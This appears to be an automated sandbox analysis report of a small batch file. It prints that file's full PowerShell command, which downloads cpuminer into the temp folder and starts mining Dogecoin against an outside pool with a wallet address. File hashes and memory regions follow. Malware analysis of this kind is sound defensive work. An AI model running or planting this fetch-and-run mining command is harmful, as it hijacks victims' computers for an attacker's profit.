Analysis

  • max time kernel
    1799s
  • max time network
    1795s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-ja
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
  • submitted
    01-02-2024 23:55

General

  • Target

    73u3Ito.bat

  • Size

    499B

  • MD5

    fe74bff27516829a88cfbc6f6e99646f

  • SHA1

    0c15d859211c79910b277d07e729bec7197a60cd

  • SHA256

    b1f312f139949cac20d0591831ce57c227c6ac77ebd98edfcdafa5c0b02cd2bb

  • SHA512

    a94dbaef073e7b62ff9827887f1da6837103316c5656719b176ba1c2a063066f5f159b8ca783208db629121beea33fb81a94b9e6f4f4ec2612ee923639947a98

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\73u3Ito.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1164
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Invoke-WebRequest -Uri 'https://github.com/JayDDee/cpuminer-opt/releases/download/v23.15/cpuminer-opt-23.15-windows.zip' -OutFile "$env:TEMP\cpuminer.zip"; Expand-Archive -Path "$env:TEMP\cpuminer.zip" -DestinationPath "$env:TEMP\cpuminer"; Set-Location -Path "$env:TEMP\cpuminer"; Start-Process -FilePath 'cmd.exe' -ArgumentList '/k', 'cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.na.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 2'"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2128
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /k cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.na.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 2
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3416
        • C:\Users\Admin\AppData\Local\Temp\cpuminer\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.na.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 2
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:2112

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bmt1p3hi.zym.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\cpuminer-sse2.exe

    Filesize

    2.3MB

    MD5

    4c04147c386ba8792ac6a03069572a8a

    SHA1

    dda67789fc1d0f2469ca95f01a5c81034853ca6a

    SHA256

    c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

    SHA512

    a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libcurl-4.dll

    Filesize

    836KB

    MD5

    aeab40ed9a8e627ea7cefc1f5cf9bf7a

    SHA1

    5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

    SHA256

    218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

    SHA512

    c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libgcc_s_seh-1.dll

    Filesize

    1.2MB

    MD5

    7cf672bee2afba2dcd0c031ff985958e

    SHA1

    6b82a205db080ffdcb4a4470fce85a14413f3217

    SHA256

    c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

    SHA512

    3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libstdc++-6.dll

    Filesize

    10.5MB

    MD5

    cb27a3b1beae3fdbb9c3bd376d7650a6

    SHA1

    95ba65a8df68018d8d906819250136bfb03c8d40

    SHA256

    f14693dc509fd253db8583187298c15bfbe40ff9204bcc520b38156e594ad6e3

    SHA512

    d19438f4ffbd4585138b254a0f11628cb6571b60049d9f7f6ae6b2e4bb53889fd96e3fa7cd04491b9e757a899cc381dd19ee70214f577529c77d948ae88b6bd3

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libstdc++-6.dll

    Filesize

    14.7MB

    MD5

    a5166c89d55af300aacdfad5cb519e4e

    SHA1

    105ca02c3602df2c4580ac26f76d271286e850c0

    SHA256

    f144c5e38b36c98016074ebbba89b31d42b54fd0ce6fa702950236a4f30b9071

    SHA512

    7b409c1541083b8951cdf1bcdf4acf469a858fbfe6629ab4bc0f7f991cf9866617d9a2702f30125a430f4627c572490f5932a2837cf4403065d3965c48889439

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libstdc++-6.dll

    Filesize

    10.2MB

    MD5

    bbd5538c03decb24312a5e17523aa8b0

    SHA1

    03c792c864e13a78ea1947fa3bcccd3ef99fe370

    SHA256

    030bd62405ac138156fb2a2490da8c1e116f9ac071317e06787435157584bc78

    SHA512

    ba374ec9b4eb2fa96c3a34bfdcca5ae2aea0d68be50d5b3576bea062f7e7fbea657546fc0eea82c07d4bcb8476031e8e8f7ac0ea3464b7068744880400068930

  • C:\Users\Admin\AppData\Local\Temp\cpuminer\libwinpthread-1.dll

    Filesize

    606KB

    MD5

    585efec1bc1d4d916a4402c9875dff75

    SHA1

    d209613666ccac9d0ddab29a3bc59aa00a0968fa

    SHA256

    2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

    SHA512

    b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

  • memory/2112-75-0x0000000065FD0000-0x0000000066068000-memory.dmp

    Filesize

    608KB

  • memory/2112-82-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2112-132-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2112-117-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2112-112-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2112-102-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2112-97-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2112-77-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2112-76-0x00000000010F0000-0x00000000029A5000-memory.dmp

    Filesize

    24.7MB

  • memory/2112-74-0x0000000070800000-0x00000000708BC000-memory.dmp

    Filesize

    752KB

  • memory/2112-73-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/2112-72-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2128-14-0x0000024851DE0000-0x0000024851DF0000-memory.dmp

    Filesize

    64KB

  • memory/2128-11-0x000002486C570000-0x000002486C67E000-memory.dmp

    Filesize

    1.1MB

  • memory/2128-12-0x000002486C460000-0x000002486C482000-memory.dmp

    Filesize

    136KB

  • memory/2128-13-0x00007FFC2D8A0000-0x00007FFC2E361000-memory.dmp

    Filesize

    10.8MB

  • memory/2128-0-0x000002486C2C0000-0x000002486C352000-memory.dmp

    Filesize

    584KB

  • memory/2128-15-0x0000024851DE0000-0x0000024851DF0000-memory.dmp

    Filesize

    64KB

  • memory/2128-10-0x000002486C220000-0x000002486C230000-memory.dmp

    Filesize

    64KB

  • memory/2128-17-0x00007FFC2D8A0000-0x00007FFC2E361000-memory.dmp

    Filesize

    10.8MB

  • memory/2128-16-0x000002486C4B0000-0x000002486C4C6000-memory.dmp

    Filesize

    88KB

  • memory/2128-59-0x00007FFC2D8A0000-0x00007FFC2E361000-memory.dmp

    Filesize

    10.8MB

  • memory/2128-21-0x000002486C4D0000-0x000002486C4DA000-memory.dmp

    Filesize

    40KB

  • memory/2128-20-0x000002486C4F0000-0x000002486C502000-memory.dmp

    Filesize

    72KB

  • memory/2128-18-0x0000024851DE0000-0x0000024851DF0000-memory.dmp

    Filesize

    64KB